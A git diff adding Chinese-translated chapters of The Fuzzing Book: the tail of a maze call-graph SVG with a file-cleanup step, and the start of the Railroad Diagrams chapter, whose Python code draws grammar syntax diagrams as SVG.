id="edge146"><title>callgraphX__tile_4_1->callgraphX__print_maze</title></g> <g class="edge" id="edge145"><title>callgraphX__tile_4_1->callgraphX__tile_3_1</title></g> <g class="edge" id="edge142"><title>callgraphX__tile_4_1->callgraphX__tile_4_0</title></g> <g class="edge" id="edge144"><title>callgraphX__tile_4_1->callgraphX__tile_4_1</title></g> <g class="edge" id="edge141"><title>callgraphX__tile_4_1->callgraphX__tile_4_2</title></g> <g class="edge" id="edge143"><title>callgraphX__tile_4_1->callgraphX__tile_5_1</title></g> <g class="edge" id="edge147"><title>callgraphX__tile_4_2->callgraphX__print_maze</title></g> <g class="edge" id="edge153"><title>callgraphX__tile_4_3->callgraphX__print_maze</title></g> <g class="edge" id="edge152"><title>callgraphX__tile_4_3->callgraphX__tile_3_3</title></g> <g class="edge" id="edge148"><title>callgraphX__tile_4_3->callgraphX__tile_4_2</title></g> <g class="edge" id="edge149"><title>callgraphX__tile_4_3->callgraphX__tile_4_3</title></g> <g class="edge" id="edge150"><title>callgraphX__tile_4_3->callgraphX__tile_4_4</title></g> <g class="edge" id="edge151"><title>callgraphX__tile_4_3->callgraphX__tile_5_3</title></g> <g class="edge" id="edge159"><title>callgraphX__tile_4_4->callgraphX__print_maze</title></g> <g class="edge" id="edge155"><title>callgraphX__tile_4_4->callgraphX__tile_3_4</title></g> <g class="edge" id="edge156"><title>callgraphX__tile_4_4->callgraphX__tile_4_3</title></g> <g class="edge" id="edge157"><title>callgraphX__tile_4_4->callgraphX__tile_4_4</title></g> <g class="edge" id="edge154"><title>callgraphX__tile_4_4->callgraphX__tile_4_5</title></g> <g class="edge" id="edge158"><title>callgraphX__tile_4_4->callgraphX__tile_5_4</title></g> <g class="edge" id="edge165"><title>callgraphX__tile_4_5->callgraphX__print_maze</title></g> <g class="edge" id="edge162"><title>callgraphX__tile_4_5->callgraphX__tile_3_5</title></g> <g class="edge" id="edge163"><title>callgraphX__tile_4_5->callgraphX__tile_4_4</title></g> <g class="edge" id="edge164"><title>callgraphX__tile_4_5->callgraphX__tile_4_5</title></g> <g class="edge" id="edge161"><title>callgraphX__tile_4_5->callgraphX__tile_4_6</title></g> <g class="edge" id="edge160"><title>callgraphX__tile_4_5->callgraphX__tile_5_5</title></g> <g class="edge" id="edge166"><title>callgraphX__tile_4_6->callgraphX__print_maze</title></g> <g class="edge" id="edge172"><title>callgraphX__tile_4_7->callgraphX__print_maze</title></g> <g class="edge" id="edge167"><title>callgraphX__tile_4_7->callgraphX__tile_3_7</title></g> <g class="edge" id="edge168"><title>callgraphX__tile_4_7->callgraphX__tile_4_6</title></g> <g class="edge" id="edge169"><title>callgraphX__tile_4_7->callgraphX__tile_4_7</title></g> <g class="edge" id="edge171"><title>callgraphX__tile_4_7->callgraphX__tile_4_8</title></g> <g class="edge" id="edge170"><title>callgraphX__tile_4_7->callgraphX__tile_5_7</title></g> <g class="edge" id="edge173"><title>callgraphX__tile_4_8->callgraphX__print_maze</title></g> <g class="edge" id="edge174"><title>callgraphX__tile_5_0->callgraphX__print_maze</title></g> <g class="edge" id="edge180"><title>callgraphX__tile_5_1->callgraphX__print_maze</title></g> <g class="edge" id="edge179"><title>callgraphX__tile_5_1->callgraphX__tile_4_1</title></g> <g class="edge" id="edge176"><title>callgraphX__tile_5_1->callgraphX__tile_5_0</title></g> <g class="edge" id="edge178"><title>callgraphX__tile_5_1->callgraphX__tile_5_1</title></g> <g class="edge" id="edge175"><title>callgraphX__tile_5_1->callgraphX__tile_5_2</title></g> <g class="edge" id="edge177"><title>callgraphX__tile_5_1->callgraphX__tile_6_1</title></g> <g class="edge" id="edge181"><title>callgraphX__tile_5_2->callgraphX__print_maze</title></g> <g class="edge" id="edge182"><title>callgraphX__tile_5_3->callgraphX__print_maze</title></g> <g class="edge" id="edge183"><title>callgraphX__tile_5_4->callgraphX__print_maze</title></g> <g class="edge" id="edge189"><title>callgraphX__tile_5_5->callgraphX__print_maze</title></g> <g class="edge" id="edge188"><title>callgraphX__tile_5_5->callgraphX__tile_4_5</title></g> <g class="edge" id="edge187"><title>callgraphX__tile_5_5->callgraphX__tile_5_4</title></g> <g class="edge" id="edge184"><title>callgraphX__tile_5_5->callgraphX__tile_5_5</title></g> <g class="edge" id="edge185"><title>callgraphX__tile_5_5->callgraphX__tile_5_6</title></g> <g class="edge" id="edge186"><title>callgraphX__tile_5_5->callgraphX__tile_6_5</title></g> <g class="edge" id="edge190"><title>callgraphX__tile_5_6->callgraphX__print_maze</title></g> <g class="edge" id="edge195"><title>callgraphX__tile_5_7->callgraphX__print_maze</title></g> <g class="edge" id="edge193"><title>callgraphX__tile_5_7->callgraphX__tile_4_7</title></g> <g class="edge" id="edge192"><title>callgraphX__tile_5_7->callgraphX__tile_5_6</title></g> <g class="edge" id="edge194"><title>callgraphX__tile_5_7->callgraphX__tile_5_7</title></g> <g class="edge" id="edge196"><title>callgraphX__tile_5_7->callgraphX__tile_5_8</title></g> <g class="edge" id="edge191"><title>callgraphX__tile_5_7->callgraphX__tile_6_7</title></g> <g class="edge" id="edge197"><title>callgraphX__tile_5_8->callgraphX__print_maze</title></g> <g class="edge" id="edge198"><title>callgraphX__tile_6_0->callgraphX__print_maze</title></g> <g class="edge" id="edge203"><title>callgraphX__tile_6_1->callgraphX__print_maze</title></g> <g class="edge" id="edge202"><title>callgraphX__tile_6_1->callgraphX__tile_5_1</title></g> <g class="edge" id="edge199"><title>callgraphX__tile_6_1->callgraphX__tile_6_0</title></g> <g class="edge" id="edge200"><title>callgraphX__tile_6_1->callgraphX__tile_6_1</title></g> <g class="edge" id="edge201"><title>callgraphX__tile_6_1->callgraphX__tile_6_2</title></g> <g class="edge" id="edge204"><title>callgraphX__tile_6_1->callgraphX__tile_7_1</title></g> <g class="edge" id="edge210"><title>callgraphX__tile_6_2->callgraphX__print_maze</title></g> <g class="edge" id="edge205"><title>callgraphX__tile_6_2->callgraphX__tile_5_2</title></g> <g class="edge" id="edge208"><title>callgraphX__tile_6_2->callgraphX__tile_6_1</title></g> <g class="edge" id="edge209"><title>callgraphX__tile_6_2->callgraphX__tile_6_2</title></g> <g class="edge" id="edge206"><title>callgraphX__tile_6_2->callgraphX__tile_6_3</title></g> <g class="edge" id="edge207"><title>callgraphX__tile_6_2->callgraphX__tile_7_2</title></g> <g class="edge" id="edge216"><title>callgraphX__tile_6_3->callgraphX__print_maze</title></g> <g class="edge" id="edge214"><title>callgraphX__tile_6_3->callgraphX__tile_5_3</title></g> <g class="edge" id="edge215"><title>callgraphX__tile_6_3->callgraphX__tile_6_2</title></g> <g class="edge" id="edge211"><title>callgraphX__tile_6_3->callgraphX__tile_6_3</title></g> <g class="edge" id="edge212"><title>callgraphX__tile_6_3->callgraphX__tile_6_4</title></g> <g class="edge" id="edge213"><title>callgraphX__tile_6_3->callgraphX__tile_7_3</title></g> <g class="edge" id="edge222"><title>callgraphX__tile_6_4->callgraphX__print_maze</title></g> <g class="edge" id="edge221"><title>callgraphX__tile_6_4->callgraphX__tile_5_4</title></g> <g class="edge" id="edge217"><title>callgraphX__tile_6_4->callgraphX__tile_6_3</title></g> <g class="edge" id="edge218"><title>callgraphX__tile_6_4->callgraphX__tile_6_4</title></g> <g class="edge" id="edge219"><title>callgraphX__tile_6_4->callgraphX__tile_6_5</title></g> <g class="edge" id="edge220"><title>callgraphX__tile_6_4->callgraphX__tile_7_4</title></g> <g class="edge" id="edge228"><title>callgraphX__tile_6_5->callgraphX__print_maze</title></g> <g class="edge" id="edge224"><title>callgraphX__tile_6_5->callgraphX__tile_5_5</title></g> <g class="edge" id="edge225"><title>callgraphX__tile_6_5->callgraphX__tile_6_4</title></g> <g class="edge" id="edge226"><title>callgraphX__tile_6_5->callgraphX__tile_6_5</title></g> <g class="edge" id="edge223"><title>callgraphX__tile_6_5->callgraphX__tile_6_6</title></g> <g class="edge" id="edge227"><title>callgraphX__tile_6_5->callgraphX__tile_7_5</title></g> <g class="edge" id="edge229"><title>callgraphX__tile_6_6->callgraphX__print_maze</title></g> <g class="edge" id="edge230"><title>callgraphX__tile_6_7->callgraphX__print_maze</title></g> <g class="edge" id="edge231"><title>callgraphX__tile_6_8->callgraphX__print_maze</title></g> <g class="edge" id="edge232"><title>callgraphX__tile_7_0->callgraphX__print_maze</title></g> <g class="edge" id="edge233"><title>callgraphX__tile_7_1->callgraphX__print_maze</title></g> <g class="edge" id="edge234"><title>callgraphX__tile_7_2->callgraphX__print_maze</title></g> <g class="edge" id="edge235"><title>callgraphX__tile_7_3->callgraphX__print_maze</title></g> <g class="edge" id="edge236"><title>callgraphX__tile_7_4->callgraphX__print_maze</title></g> <g class="edge" id="edge237"><title>callgraphX__tile_7_5->callgraphX__print_maze</title></g> <g class="edge" id="edge238"><title>callgraphX__tile_7_6->callgraphX__print_maze</title></g> <g class="edge" id="edge239"><title>callgraphX__tile_7_7->callgraphX__print_maze</title></g> <g class="edge" id="edge240"><title>callgraphX__tile_7_8->callgraphX__print_maze</title></g></g></svg>
+
+## 清理
+
+我们完成了，所以我们清理一下：
+
+```py
+import [shutil](https://docs.python.org/3/library/shutil.html)
+
+```
+
+```py
+if os.path.exists('callgraph.dot'):
+    os.remove('callgraph.dot')
+
+if os.path.exists('callgraph.py'):
+    os.remove('callgraph.py')
+
+```
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/42.md b/new/fuzzing-book-zh/42.md
new file mode 100644
index 0000000000000000000000000000000000000000..40668d8e176c646e6e4884746f291b011c7314c5
--- /dev/null
+++ b/new/fuzzing-book-zh/42.md
@@ -0,0 +1,1328 @@
+# 铁路图
+
+> 原文： [https://www.fuzzingbook.org/html/RailroadDiagrams.html](https://www.fuzzingbook.org/html/RailroadDiagrams.html)
+
+本笔记本中的代码有助于绘制语法图。 它是Tab Atkins jr的[优秀库的（略有定制）副本。](https://github.com/tabatkins/railroad-diagrams) ，很遗憾，它无法作为Python软件包使用。
+
+**前提条件**
+
+*   该笔记本需要对Python和图形的高级概念有一些了解，特别是
+    *   类
+    *   Python `with`语句
+    *   可缩放矢量图形
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+import [re](https://docs.python.org/3/library/re.html)
+import [io](https://docs.python.org/3/library/io.html)
+
+```
+
+```py
+class C:
+    # Display constants
+    DEBUG = False  # if true, writes some debug information into attributes
+    VS = 8  # minimum vertical separation between things. For a 3px stroke, must be at least 4
+    AR = 10  # radius of arcs
+    DIAGRAM_CLASS = 'railroad-diagram'  # class to put on the root <svg>
+    # is the stroke width an odd (1px, 3px, etc) pixel length?
+    STROKE_ODD_PIXEL_LENGTH = True
+    # how to align items when they have extra space. left/right/center
+    INTERNAL_ALIGNMENT = 'center'
+    # width of each monospace character. play until you find the right value
+    # for your font
+    CHAR_WIDTH = 8.5
+    COMMENT_CHAR_WIDTH = 7  # comments are in smaller text by default
+
+    DEFAULT_STYLE = '''\
+ svg.railroad-diagram {
+ background-color:hsl(100,100%,100%);
+ }
+ svg.railroad-diagram path {
+ stroke-width:3;
+ stroke:black;
+ fill:rgba(0,0,0,0);
+ }
+ svg.railroad-diagram text {
+ font:bold 14px monospace;
+ text-anchor:middle;
+ }
+ svg.railroad-diagram text.label{
+ text-anchor:start;
+ }
+ svg.railroad-diagram text.comment{
+ font:italic 12px monospace;
+ }
+ svg.railroad-diagram rect{
+ stroke-width:3;
+ stroke:black;
+ fill:hsl(0,62%,82%);
+ }
+'''
+
+```
+
+```py
+def e(text):
+    text = re.sub(r"&", '&amp;', str(text))
+    text = re.sub(r"<", '&lt;', str(text))
+    text = re.sub(r">", '&gt;', str(text))
+    return str(text)
+
+```
+
+```py
+def determineGaps(outer, inner):
+    diff = outer - inner
+    if C.INTERNAL_ALIGNMENT == 'left':
+        return 0, diff
+    elif C.INTERNAL_ALIGNMENT == 'right':
+        return diff, 0
+    else:
+        return diff / 2, diff / 2
+
+```
+
+```py
+def doubleenumerate(seq):
+    length = len(list(seq))
+    for i, item in enumerate(seq):
+        yield i, i - length, item
+
+```
+
+```py
+def addDebug(el):
+    if not C.DEBUG:
+        return
+    el.attrs['data-x'] = "{0} w:{1} h:{2}/{3}/{4}".format(
+        type(el).__name__, el.width, el.up, el.height, el.down)
+
+```
+
+```py
+class DiagramItem(object):
+    def __init__(self, name, attrs=None, text=None):
+        self.name = name
+        # up = distance it projects above the entry line
+        # height = distance between the entry/exit lines
+        # down = distance it projects below the exit line
+        self.height = 0
+        self.attrs = attrs or {}
+        self.children = [text] if text else []
+        self.needsSpace = False
+
+    def format(self, x, y, width):
+        raise NotImplementedError  # Virtual
+
+    def addTo(self, parent):
+        parent.children.append(self)
+        return self
+
+    def writeSvg(self, write):
+        write(u'<{0}'.format(self.name))
+        for name, value in sorted(self.attrs.items()):
+            write(u' {0}="{1}"'.format(name, e(value)))
+        write(u'>')
+        if self.name in ["g", "svg"]:
+            write(u'\n')
+        for child in self.children:
+            if isinstance(child, DiagramItem):
+                child.writeSvg(write)
+            else:
+                write(e(child))
+        write(u'</{0}>'.format(self.name))
+
+    def __eq__(self, other):
+        return isinstance(self, type(
+            other)) and self.__dict__ == other.__dict__
+
+    def __ne__(self, other):
+        return not (self == other)
+
+```
+
+```py
+class Path(DiagramItem):
+    def __init__(self, x, y):
+        self.x = x
+        self.y = y
+        DiagramItem.__init__(self, 'path', {'d': 'M%s  %s' % (x, y)})
+
+    def m(self, x, y):
+        self.attrs['d'] += 'm{0}  {1}'.format(x, y)
+        return self
+
+    def ll(self, x, y):   # was l(), which violates PEP8 -- AZ
+        self.attrs['d'] += 'l{0}  {1}'.format(x, y)
+        return self
+
+    def h(self, val):
+        self.attrs['d'] += 'h{0}'.format(val)
+        return self
+
+    def right(self, val):
+        return self.h(max(0, val))
+
+    def left(self, val):
+        return self.h(-max(0, val))
+
+    def v(self, val):
+        self.attrs['d'] += 'v{0}'.format(val)
+        return self
+
+    def down(self, val):
+        return self.v(max(0, val))
+
+    def up(self, val):
+        return self.v(-max(0, val))
+
+    def arc_8(self, start, dir):
+        # 1/8 of a circle
+        arc = C.AR
+        s2 = 1 / math.sqrt(2) * arc
+        s2inv = (arc - s2)
+        path = "a {0}  {0} 0 0 {1} ".format(arc, "1" if dir == 'cw' else "0")
+        sd = start + dir
+        if sd == 'ncw':
+            offset = [s2, s2inv]
+        elif sd == 'necw':
+            offset = [s2inv, s2]
+        elif sd == 'ecw':
+            offset = [-s2inv, s2]
+        elif sd == 'secw':
+            offset = [-s2, s2inv]
+        elif sd == 'scw':
+            offset = [-s2, -s2inv]
+        elif sd == 'swcw':
+            offset = [-s2inv, -s2]
+        elif sd == 'wcw':
+            offset = [s2inv, -s2]
+        elif sd == 'nwcw':
+            offset = [s2, -s2inv]
+        elif sd == 'nccw':
+            offset = [-s2, s2inv]
+        elif sd == 'nwccw':
+            offset = [-s2inv, s2]
+        elif sd == 'wccw':
+            offset = [s2inv, s2]
+        elif sd == 'swccw':
+            offset = [s2, s2inv]
+        elif sd == 'sccw':
+            offset = [s2, -s2inv]
+        elif sd == 'seccw':
+            offset = [s2inv, -s2]
+        elif sd == 'eccw':
+            offset = [-s2inv, -s2]
+        elif sd == 'neccw':
+            offset = [-s2, -s2inv]
+
+        path += " ".join(str(x) for x in offset)
+        self.attrs['d'] += path
+        return self
+
+    def arc(self, sweep):
+        x = C.AR
+        y = C.AR
+        if sweep[0] == 'e' or sweep[1] == 'w':
+            x *= -1
+        if sweep[0] == 's' or sweep[1] == 'n':
+            y *= -1
+        cw = 1 if sweep == 'ne' or sweep == 'es' or sweep == 'sw' or sweep == 'wn' else 0
+        self.attrs['d'] += 'a{0}  {0} 0 0 {1}  {2}  {3}'.format(C.AR, cw, x, y)
+        return self
+
+    def format(self):
+        self.attrs['d'] += 'h.5'
+        return self
+
+    def __repr__(self):
+        return 'Path(%r, %r)' % (self.x, self.y)
+
+```
+
+```py
+def wrapString(value):
+    return value if isinstance(value, DiagramItem) else Terminal(value)
+
+```
+
+```py
+class Style(DiagramItem):
+    def __init__(self, css):
+        self.name = 'style'
+        self.css = css
+        self.height = 0
+        self.width = 0
+        self.needsSpace = False
+
+    def __repr__(self):
+        return 'Style(%r)' % css
+
+    def format(self, x, y, width):
+        return self
+
+    def writeSvg(self, write):
+        # Write included stylesheet as CDATA. See
+        # https:#developer.mozilla.org/en-US/docs/Web/SVG/Element/style
+        cdata = u'/* <![CDATA[ */\n{css}\n/* ]]> */\n'.format(css=self.css)
+        write(u'<style>{cdata}</style>'.format(cdata=cdata))
+
+```
+
+```py
+class Diagram(DiagramItem):
+    def __init__(self, *items, **kwargs):
+        # Accepts a type=[simple|complex] kwarg
+        DiagramItem.__init__(
+            self, 'svg', {'class': C.DIAGRAM_CLASS, 'xmlns': "http://www.w3.org/2000/svg"})
+        self.type = kwargs.get("type", "simple")
+        self.items = [wrapString(item) for item in items]
+        if items and not isinstance(items[0], Start):
+            self.items.insert(0, Start(self.type))
+        if items and not isinstance(items[-1], End):
+            self.items.append(End(self.type))
+        self.css = kwargs.get("css", C.DEFAULT_STYLE)
+        if self.css:
+            self.items.insert(0, Style(self.css))
+        self.up = 0
+        self.down = 0
+        self.height = 0
+        self.width = 0
+        for item in self.items:
+            if isinstance(item, Style):
+                continue
+            self.width += item.width + (20 if item.needsSpace else 0)
+            self.up = max(self.up, item.up - self.height)
+            self.height += item.height
+            self.down = max(self.down - item.height, item.down)
+        if self.items[0].needsSpace:
+            self.width -= 10
+        if self.items[-1].needsSpace:
+            self.width -= 10
+        self.formatted = False
+
+    def __repr__(self):
+        if self.css:
+            items = ', '.join(map(repr, self.items[2:-1]))
+        else:
+            items = ', '.join(map(repr, self.items[1:-1]))
+        pieces = [] if not items else [items]
+        if self.css != C.DEFAULT_STYLE:
+            pieces.append('css=%r' % self.css)
+        if self.type != 'simple':
+            pieces.append('type=%r' % self.type)
+        return 'Diagram(%s)' % ', '.join(pieces)
+
+    def format(self, paddingTop=20, paddingRight=None,
+               paddingBottom=None, paddingLeft=None):
+        if paddingRight is None:
+            paddingRight = paddingTop
+        if paddingBottom is None:
+            paddingBottom = paddingTop
+        if paddingLeft is None:
+            paddingLeft = paddingRight
+        x = paddingLeft
+        y = paddingTop + self.up
+        g = DiagramItem('g')
+        if C.STROKE_ODD_PIXEL_LENGTH:
+            g.attrs['transform'] = 'translate(.5 .5)'
+        for item in self.items:
+            if item.needsSpace:
+                Path(x, y).h(10).addTo(g)
+                x += 10
+            item.format(x, y, item.width).addTo(g)
+            x += item.width
+            y += item.height
+            if item.needsSpace:
+                Path(x, y).h(10).addTo(g)
+                x += 10
+        self.attrs['width'] = self.width + paddingLeft + paddingRight
+        self.attrs['height'] = self.up + self.height + \
+            self.down + paddingTop + paddingBottom
+        self.attrs['viewBox'] = "0 0 {width}  {height}".format(**self.attrs)
+        g.addTo(self)
+        self.formatted = True
+        return self
+
+    def writeSvg(self, write):
+        if not self.formatted:
+            self.format()
+        return DiagramItem.writeSvg(self, write)
+
+    def parseCSSGrammar(self, text):
+        token_patterns = {
+            'keyword': r"[\w-]+\(?",
+            'type': r"<[\w-]+(\(\))?>",
+            'char': r"[/,()]",
+            'literal': r"'(.)'",
+            'openbracket': r"\[",
+            'closebracket': r"\]",
+            'closebracketbang': r"\]!",
+            'bar': r"\|",
+            'doublebar': r"\|\|",
+            'doubleand': r"&&",
+            'multstar': r"\*",
+            'multplus': r"\+",
+            'multhash': r"#",
+            'multnum1': r"{\s*(\d+)\s*}",
+            'multnum2': r"{\s*(\d+)\s*,\s*(\d*)\s*}",
+            'multhashnum1': r"#{\s*(\d+)\s*}",
+            'multhashnum2': r"{\s*(\d+)\s*,\s*(\d*)\s*}"
+        }
+
+```
+
+```py
+class Sequence(DiagramItem):
+    def __init__(self, *items):
+        DiagramItem.__init__(self, 'g')
+        self.items = [wrapString(item) for item in items]
+        self.needsSpace = True
+        self.up = 0
+        self.down = 0
+        self.height = 0
+        self.width = 0
+        for item in self.items:
+            self.width += item.width + (20 if item.needsSpace else 0)
+            self.up = max(self.up, item.up - self.height)
+            self.height += item.height
+            self.down = max(self.down - item.height, item.down)
+        if self.items[0].needsSpace:
+            self.width -= 10
+        if self.items[-1].needsSpace:
+            self.width -= 10
+        addDebug(self)
+
+    def __repr__(self):
+        items = ', '.join(map(repr, self.items))
+        return 'Sequence(%s)' % items
+
+    def format(self, x, y, width):
+        leftGap, rightGap = determineGaps(width, self.width)
+        Path(x, y).h(leftGap).addTo(self)
+        Path(x + leftGap + self.width, y + self.height).h(rightGap).addTo(self)
+        x += leftGap
+        for i, item in enumerate(self.items):
+            if item.needsSpace and i > 0:
+                Path(x, y).h(10).addTo(self)
+                x += 10
+            item.format(x, y, item.width).addTo(self)
+            x += item.width
+            y += item.height
+            if item.needsSpace and i < len(self.items) - 1:
+                Path(x, y).h(10).addTo(self)
+                x += 10
+        return self
+
+```
+
+```py
+class Stack(DiagramItem):
+    def __init__(self, *items):
+        DiagramItem.__init__(self, 'g')
+        self.items = [wrapString(item) for item in items]
+        self.needsSpace = True
+        self.width = max(item.width + (20 if item.needsSpace else 0)
+                         for item in self.items)
+        # pretty sure that space calc is totes wrong
+        if len(self.items) > 1:
+            self.width += C.AR * 2
+        self.up = self.items[0].up
+        self.down = self.items[-1].down
+        self.height = 0
+        last = len(self.items) - 1
+        for i, item in enumerate(self.items):
+            self.height += item.height
+            if i > 0:
+                self.height += max(C.AR * 2, item.up + C.VS)
+            if i < last:
+                self.height += max(C.AR * 2, item.down + C.VS)
+        addDebug(self)
+
+    def __repr__(self):
+        items = ', '.join(repr(item) for item in self.items)
+        return 'Stack(%s)' % items
+
+    def format(self, x, y, width):
+        leftGap, rightGap = determineGaps(width, self.width)
+        Path(x, y).h(leftGap).addTo(self)
+        x += leftGap
+        xInitial = x
+        if len(self.items) > 1:
+            Path(x, y).h(C.AR).addTo(self)
+            x += C.AR
+            innerWidth = self.width - C.AR * 2
+        else:
+            innerWidth = self.width
+        for i, item in enumerate(self.items):
+            item.format(x, y, innerWidth).addTo(self)
+            x += innerWidth
+            y += item.height
+            if i != len(self.items) - 1:
+                (Path(x, y)
+                    .arc('ne').down(max(0, item.down + C.VS - C.AR * 2))
+                    .arc('es').left(innerWidth)
+                    .arc('nw').down(max(0, self.items[i + 1].up + C.VS - C.AR * 2))
+                    .arc('ws').addTo(self))
+                y += max(item.down + C.VS, C.AR * 2) + \
+                    max(self.items[i + 1].up + C.VS, C.AR * 2)
+                x = xInitial + C.AR
+        if len(self.items) > 1:
+            Path(x, y).h(C.AR).addTo(self)
+            x += C.AR
+        Path(x, y).h(rightGap).addTo(self)
+        return self
+
+```
+
+```py
+class OptionalSequence(DiagramItem):
+    def __new__(cls, *items):
+        if len(items) <= 1:
+            return Sequence(*items)
+        else:
+            return super(OptionalSequence, cls).__new__(cls)
+
+    def __init__(self, *items):
+        DiagramItem.__init__(self, 'g')
+        self.items = [wrapString(item) for item in items]
+        self.needsSpace = False
+        self.width = 0
+        self.up = 0
+        self.height = sum(item.height for item in self.items)
+        self.down = self.items[0].down
+        heightSoFar = 0
+        for i, item in enumerate(self.items):
+            self.up = max(self.up, max(C.AR * 2, item.up + C.VS) - heightSoFar)
+            heightSoFar += item.height
+            if i > 0:
+                self.down = max(self.height + self.down, heightSoFar
+                                + max(C.AR * 2, item.down + C.VS)) - self.height
+            itemWidth = item.width + (20 if item.needsSpace else 0)
+            if i == 0:
+                self.width += C.AR + max(itemWidth, C.AR)
+            else:
+                self.width += C.AR * 2 + max(itemWidth, C.AR) + C.AR
+        addDebug(self)
+
+    def __repr__(self):
+        items = ', '.join(repr(item) for item in self.items)
+        return 'OptionalSequence(%s)' % items
+
+    def format(self, x, y, width):
+        leftGap, rightGap = determineGaps(width, self.width)
+        Path(x, y).right(leftGap).addTo(self)
+        Path(x + leftGap + self.width, y
+             + self.height).right(rightGap).addTo(self)
+        x += leftGap
+        upperLineY = y - self.up
+        last = len(self.items) - 1
+        for i, item in enumerate(self.items):
+            itemSpace = 10 if item.needsSpace else 0
+            itemWidth = item.width + itemSpace
+            if i == 0:
+                # Upper skip
+                (Path(x, y)
+                    .arc('se')
+                    .up(y - upperLineY - C.AR * 2)
+                    .arc('wn')
+                    .right(itemWidth - C.AR)
+                    .arc('ne')
+                    .down(y + item.height - upperLineY - C.AR * 2)
+                    .arc('ws')
+                    .addTo(self))
+                # Straight line
+                (Path(x, y)
+                    .right(itemSpace + C.AR)
+                    .addTo(self))
+                item.format(x + itemSpace + C.AR, y, item.width).addTo(self)
+                x += itemWidth + C.AR
+                y += item.height
+            elif i < last:
+                # Upper skip
+                (Path(x, upperLineY)
+                    .right(C.AR * 2 + max(itemWidth, C.AR) + C.AR)
+                    .arc('ne')
+                    .down(y - upperLineY + item.height - C.AR * 2)
+                    .arc('ws')
+                    .addTo(self))
+                # Straight line
+                (Path(x, y)
+                    .right(C.AR * 2)
+                    .addTo(self))
+                item.format(x + C.AR * 2, y, item.width).addTo(self)
+                (Path(x + item.width + C.AR * 2, y + item.height)
+                    .right(itemSpace + C.AR)
+                    .addTo(self))
+                # Lower skip
+                (Path(x, y)
+                    .arc('ne')
+                    .down(item.height + max(item.down + C.VS, C.AR * 2) - C.AR * 2)
+                    .arc('ws')
+                    .right(itemWidth - C.AR)
+                    .arc('se')
+                    .up(item.down + C.VS - C.AR * 2)
+                    .arc('wn')
+                    .addTo(self))
+                x += C.AR * 2 + max(itemWidth, C.AR) + C.AR
+                y += item.height
+            else:
+                # Straight line
+                (Path(x, y)
+                    .right(C.AR * 2)
+                    .addTo(self))
+                item.format(x + C.AR * 2, y, item.width).addTo(self)
+                (Path(x + C.AR * 2 + item.width, y + item.height)
+                    .right(itemSpace + C.AR)
+                    .addTo(self))
+                # Lower skip
+                (Path(x, y)
+                    .arc('ne')
+                    .down(item.height + max(item.down + C.VS, C.AR * 2) - C.AR * 2)
+                    .arc('ws')
+                    .right(itemWidth - C.AR)
+                    .arc('se')
+                    .up(item.down + C.VS - C.AR * 2)
+                    .arc('wn')
+                    .addTo(self))
+        return self
+
+```
+
+```py
+class AlternatingSequence(DiagramItem):
+    def __new__(cls, *items):
+        if len(items) == 2:
+            return super(AlternatingSequence, cls).__new__(cls)
+        else:
+            raise Exception(
+                "AlternatingSequence takes exactly two arguments got " + len(items))
+
+    def __init__(self, *items):
+        DiagramItem.__init__(self, 'g')
+        self.items = [wrapString(item) for item in items]
+        self.needsSpace = False
+
+        arc = C.AR
+        vert = C.VS
+        first = self.items[0]
+        second = self.items[1]
+
+        arcX = 1 / math.sqrt(2) * arc * 2
+        arcY = (1 - 1 / math.sqrt(2)) * arc * 2
+        crossY = max(arc, vert)
+        crossX = (crossY - arcY) + arcX
+
+        firstOut = max(arc + arc, crossY / 2 + arc + arc,
+                       crossY / 2 + vert + first.down)
+        self.up = firstOut + first.height + first.up
+
+        secondIn = max(arc + arc, crossY / 2 + arc + arc,
+                       crossY / 2 + vert + second.up)
+        self.down = secondIn + second.height + second.down
+
+        self.height = 0
+
+        firstWidth = (20 if first.needsSpace else 0) + first.width
+        secondWidth = (20 if second.needsSpace else 0) + second.width
+        self.width = 2 * arc + max(firstWidth, crossX, secondWidth) + 2 * arc
+        addDebug(self)
+
+    def __repr__(self):
+        items = ', '.join(repr(item) for item in self.items)
+        return 'AlternatingSequence(%s)' % items
+
+    def format(self, x, y, width):
+        arc = C.AR
+        gaps = determineGaps(width, self.width)
+        Path(x, y).right(gaps[0]).addTo(self)
+        x += gaps[0]
+        Path(x + self.width, y).right(gaps[1]).addTo(self)
+        # bounding box
+        # Path(x+gaps[0], y).up(self.up).right(self.width).down(self.up+self.down).left(self.width).up(self.down).addTo(self)
+        first = self.items[0]
+        second = self.items[1]
+
+        # top
+        firstIn = self.up - first.up
+        firstOut = self.up - first.up - first.height
+        Path(x, y).arc('se').up(firstIn - 2 * arc).arc('wn').addTo(self)
+        first.format(
+            x
+            + 2
+            * arc,
+            y
+            - firstIn,
+            self.width
+            - 4
+            * arc).addTo(self)
+        Path(x + self.width - 2 * arc, y
+             - firstOut).arc('ne').down(firstOut - 2 * arc).arc('ws').addTo(self)
+
+        # bottom
+        secondIn = self.down - second.down - second.height
+        secondOut = self.down - second.down
+        Path(x, y).arc('ne').down(secondIn - 2 * arc).arc('ws').addTo(self)
+        second.format(
+            x
+            + 2
+            * arc,
+            y
+            + secondIn,
+            self.width
+            - 4
+            * arc).addTo(self)
+        Path(x + self.width - 2 * arc, y
+             + secondOut).arc('se').up(secondOut - 2 * arc).arc('wn').addTo(self)
+
+        # crossover
+        arcX = 1 / Math.sqrt(2) * arc * 2
+        arcY = (1 - 1 / Math.sqrt(2)) * arc * 2
+        crossY = max(arc, C.VS)
+        crossX = (crossY - arcY) + arcX
+        crossBar = (self.width - 4 * arc - crossX) / 2
+        (Path(x + arc, y - crossY / 2 - arc).arc('ws').right(crossBar)
+            .arc_8('n', 'cw').ll(crossX - arcX, crossY - arcY).arc_8('sw', 'ccw')
+            .right(crossBar).arc('ne').addTo(self))
+        (Path(x + arc, y + crossY / 2 + arc).arc('wn').right(crossBar)
+            .arc_8('s', 'ccw').ll(crossX - arcX, -(crossY - arcY)).arc_8('nw', 'cw')
+            .right(crossBar).arc('se').addTo(self))
+
+        return self
+
+```
+
+```py
+class Choice(DiagramItem):
+    def __init__(self, default, *items):
+        DiagramItem.__init__(self, 'g')
+        assert default < len(items)
+        self.default = default
+        self.items = [wrapString(item) for item in items]
+        self.width = C.AR * 4 + max(item.width for item in self.items)
+        self.up = self.items[0].up
+        self.down = self.items[-1].down
+        self.height = self.items[default].height
+        for i, item in enumerate(self.items):
+            if i in [default - 1, default + 1]:
+                arcs = C.AR * 2
+            else:
+                arcs = C.AR
+            if i < default:
